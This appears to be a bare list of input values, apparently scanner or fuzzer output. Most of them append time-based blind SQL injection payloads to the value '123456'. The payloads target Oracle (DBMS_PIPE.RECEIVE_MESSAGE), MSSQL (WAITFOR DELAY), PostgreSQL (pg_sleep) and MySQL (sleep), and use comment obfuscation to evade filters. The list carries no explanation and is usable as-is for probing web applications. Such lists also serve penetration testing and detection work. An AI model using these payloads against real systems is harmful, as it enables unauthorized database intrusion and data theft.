123456
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',2)='r
123456
123456
123456'and(select+1)>0waitfor/**/delay'0:0:2
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('d',0)
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('m',2)
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)='g
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="